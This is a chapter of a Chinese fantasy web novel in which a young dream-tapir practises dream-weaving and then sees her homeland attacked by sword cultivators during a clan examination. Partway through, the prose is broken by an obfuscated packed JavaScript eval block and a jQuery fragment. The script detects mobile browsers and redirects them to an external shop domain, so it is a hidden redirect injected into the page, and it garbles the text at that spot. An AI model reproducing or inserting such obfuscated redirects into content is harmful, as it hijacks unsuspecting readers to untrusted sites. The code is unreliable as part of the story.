三个月的时间,秋与归每天清晨去溪边练习,傍晚才回榕洞。
银白色的丝线从她指尖涌出,在雾气中编织成各种形状。那些虚影现行的时间越来越久,从几息到半盏茶,从半盏茶到一炷香。
束鹤每天陪着她,坐在溪边的石头上,看着她结印,看着她修炼,看着她额角渗出细密的汗珠。
他不说话,只是安静地坐在那里,偶尔递过水囊,偶尔提点几句。
她织梦的时候,他就刻木头。
小小的木猫已经刻了三只,第一只蜷缩着睡觉;第二只站起来了,耳朵竖着,像在听什么;第三只弓着背,伸懒腰,嘴巴张着,能看见两颗米粒大小的牙齿。
秋与归把它们排成一排,放在竹舍的窗台上。
“它们是一家人。”她说。
束鹤把第四只递给她,这只更小,只有拇指大,蜷在掌心里,像一粒花生。
“这是刚出生的。”他说。
秋与归把它放在那排木猫的最前面,退后两步,歪着头看。
窗外的雾气翻涌着,灰白色的光落在那些木刻的小猫身上,将它们毛茸茸的轮廓照得格外温柔。
“等我的织梦术练成了,我们去凡界买真正的猫。”她说完,继续练习。
这日傍晚,秋与归从溪边回来,发现榕洞里多了一个人。
梓潼长老站在她的书架前,手里拿着一卷竹简,正低头翻阅。
听到脚步声,他转过身来,目光在秋与归脸上停了一瞬,然后落在她手里那盏还没熄灭的梦灯上。
“梓潼长老。”秋与归微微躬身。
“织梦术练得如何了?”他把竹简放回书架。
秋与归顿了顿,“略有……进境。”
梓潼走到洞口,看着外面那片翻涌的雾气。暮色从西边漫过来,将整片雾沼染成灰蓝色。
“三个月后,族里会有一场考核。”他背对着她,声音不疾不徐,“通过者,可入梦馆。”
秋与归愣住了。
梦馆,梦貘之乡最核心的所在,那里收藏着从各地收集来的最珍贵的梦境,每一缕都浓郁醇厚,是雾沼边缘那些稀薄的残梦无法比拟的。
“长老的意思是……我可以去考核?”她的声音有些发紧。
梓潼转过身看着她,“你这几个月的勤勉,我都看在眼里。虽然血脉不纯,但勤能补拙。族长那边,我去说,你自己也要争气。”他顿了顿,“莫要让她失望。”
他走出榕洞,脚步声很快被雾气吞没。
秋与归站在原地,很久没有动。待意识回笼,她蹲下身,把脸埋进掌心里,肩膀轻轻颤了一下。
翌日清晨,秋与归跑过溪边,跑过竹林,跑过那段碎石路,一直跑到竹舍门口。
束鹤正坐在门槛上刻木头,听到脚步声抬起头。
“束鹤!”她气喘吁吁地扶着门框,“我可以去参加梦貘的考核了!通过的话,就能进入梦馆!”
他放下刻刀,“什么时候?”
“三个月后。”秋与归在他身侧坐下,平复了一下呼吸。
束鹤看着她,她低着头,把袖口卷起来又放下,放下又卷起来。
他伸手按住她乱动的手,“紧张?”
“有一点。”她抬起头,阳光落在她脸上,将那双眼睛照得格外亮,“但我会努力的。”
接下来的日子,秋与归练习得更加刻苦。
清晨天不亮就出门,傍晚才回来,指尖的丝线从银白变成亮银,从亮银变成近乎透明的白。
那些虚影能够现行的时间更久了,一朵野花能开一整日,一片银杏叶能在枝头挂两天,那座石桥能在雾气中矗立三天三夜。
束鹤站在溪边,看着雾气中那道银白色的虚影,那个织出来的自己。
秋与归睁开眼,看着那道还没有消散的虚影,“好像有点像了。”
“不止是像。”束鹤走过来,在她身侧蹲下,伸出手,指尖穿过那团银白色的光晕,“连我自己都要认错了。”
他的手穿过虚影时,那些银白色的丝线颤了颤。秋与归觉得心里有什么东西被轻轻拨动。
“束鹤,如果有一天我织出了完整的梦,你最想看到什么?”
他收回手,看着她,雾气在他身后翻涌,将他的眉眼映得有些模糊,“我想再和你一起,去外面的世界。”
三个月的时间,像溪水一样流过。
考核那日,天还没亮,秋与归就醒了。
她躺在榕洞里的草席上,手心里全是汗,她把手在被褥上蹭了蹭。
“姐姐。”著之旻的声音从洞口传来,他靠在石壁上,手里端着一碗还冒着热气的粥,“吃点东西。”
秋与归坐起身,接过碗,低头喝了一口。粥很烫,烫得她舌尖发麻。
“慢点。”著之旻在她身侧坐下。
她把碗放下,“之旻,我有点怕。”
“怕什么?”
“怕考不过。”她低下头,盯着碗中的白粥,“怕我练了这么久,还是不够。”
“你是我见过最努力的人。”著之旻看着洞外那片正在散去的雾气,“如果这么努力还不够,那就再努力一点,反正你从不缺这个。”
秋与归抬起头,著之旻站起身,走到洞口,回过头,“走吧,我陪你去。”
考核的地点在梦渊之畔,秋与归到的时候,已经有好几个族人等在那里了。
她低下头,走到人群最边缘的角落。
族长站在石台上,银白色的长发垂至腰际。那双琥珀色的眼睛扫过在场的每一个人,最后落在角落里的秋与归身上。
“考核很简单。”族长开口,“以织梦术,织出你心中最想留住的东西。”
秋与归攥紧袖口,她闭上眼,妖力从掌心涌出。
雾气中,银白色的丝线刚刚开始编织,秋与归的指尖还悬在半空。
脚下的地面猛地一震。
她踉跄了一步,刚刚凝聚的丝线从指间崩散,化作无数细碎的光点。
秋与归抬起头,梦渊上方的天裂开了一道口子,裂纹从中心向四面八方蔓延,每一道裂缝里都透出刺目的白光。
人群骚动起来。不知是谁第一个尖叫出声,然后整个梦渊之畔像被捅破的蚁穴。
秋与归被人群推搡着往后退,肩膀撞在谁的身上,又被弹开。
她踮起脚尖,越过那些惊慌失措的背影,看见裂痕越来越大,白色的光从裂缝中倾泻而下,像一把从天穹垂落的巨剑,直直劈在梦渊中央。
水花炸开,足有数丈高,那些供奉在梦渊中的先祖梦境被冲击波搅碎,化作无数幽蓝色的光点四散飞溅。
秋与归被水雾扑了一脸,冰凉刺骨。她听见有人在喊她的名字,隔着人群,隔着那阵越来越响的轰鸣。
“与归!”
是束鹤。她循声望去,看见他从人群边缘挤过来。
逆着光,看不清他的表情,她抬手想要握住他伸过来的手,指尖刚触到他的掌心,第二道裂痕在天穹的另一端炸开。
这一次的冲击比方才更猛烈,脚下的地面像被一只无形的巨手掀起。
秋与归整个人往前一栽,束鹤扣住她的手腕,将她拉进怀里。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876021|212383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
他的胸膛贴着她的后背,心跳隔着衣料传过来,一下一下快得像擂鼓。
“别怕。”他的声音贴着她的耳廓。
她想说我不怕,但嘴张开,灌进来的全是风。
那风从裂痕中涌出,带着干燥的、灼热的气息,像沙漠深处刮来的热浪。
“姐姐!”著之旻的声音从身后传来。
他逆着人群跑过来,衣角被风吹得猎猎作响,肩胛单薄得像是随时会被风折断。
秋与归从束鹤怀里挣出来,伸手去拉他,“之旻!”
第三道裂痕炸开。这一次,裂痕不再只停留在天穹,而是撕开了雾沼尽头那道从未被触碰过的结界。
灰白色的光从那道裂缝中涌进来,不是阳光,是无数道剑光,密密麻麻,像一场倒着下的流星雨。
最先落地的剑光劈在梦渊东麓的梓潼长老的梦库上,收藏了数百年的梦境在火光中炸裂。
秋与归看着那些浓郁醇厚的梦辉从碎裂的穹顶中飘散出来,像一群被惊扰的萤火虫,四散奔逃。
她伸出手想抓住什么,指尖却只触到一片虚无。
有人从裂缝中走出来,白衣,长剑,周身灵气涤荡此方天地的污浊。
一个,两个,十个,百个。
他们踏在虚空中,靴底踩着碎裂的结界,每一步都像踩在他们的心脏上。
“秋时月。”束鹤的声音从头顶落下来。
秋与归抬起头,看见那道银白色的身影从天穹的裂缝中缓缓降落,素白衣裙,墨发披散,眉眼精致,像一尊被请下神坛的玉像。
只是她比记忆中的模样清减了许多,眼下有乌青,颧骨也凸出了一些。
秋时月站在虚空中,目光越过人群,越过那些惊慌失措的梦貘,越过被劈碎的结界和正在燃烧的梦库,落在秋与归身上。
秋与归张了张嘴,想说什么,喉咙像被什么东西掐住了。
“妖兽梦貘,入侵凡人梦境,扰乱心神,导致凡人疯魔无数。今我等宗门联手,誓除恶妖,以还凡界安宁。”
“与归,走!”束鹤抓住她的手腕。
这一次她没有挣开,踉跄着被他拉着往后跑,脚踩在碎石上,踩在碎裂的结界边缘。
她回过头,著之旻站在人群里,被惊慌的族人推搡着往反方向跑,他回过头看着她,张着嘴在喊什么,声音被风吞没,只看见他的嘴唇翕动。
姐姐,快跑。
秋与归猛地挣开束鹤的手。
“之旻!”她转身朝著之旻跑去,没跑两步便被一只手从身后拽住,箍在腰间,力道大得她喘不过气。
“放开我!”她踢打,指甲掐进他的手臂,“之旻还在那边!”
束鹤没有松手,反而把她箍得更紧,拖着她往结界边缘跑。
梦馆方向传来一声巨响,秋与归看见那座她向往了三个月的地方,穹顶在火光中塌陷,无数梦辉从碎裂的石壁中飘散。
剑光从身后袭来,束鹤侧身将她挡在怀里,那道剑光擦着他的肩头过去,削断了几缕头发。
温热的液体溅在她脸上,她伸手摸了一下,指尖是红的。
“你受伤了……”她的声音发颤,手也在发抖。
“我没事。”束鹤没有低头,目光紧盯着前方那道越来越近的结界裂隙。
又一道剑光袭来,束鹤旋身将她护在怀中,背脊硬挨了这一击,闷哼了一声,唇角溢出血丝。
她的目光越过他的肩头,落在那片正在燃烧的梦貘之乡。
雾沼的雾气被剑光劈散,露出底下那片她生活了十六年的土地。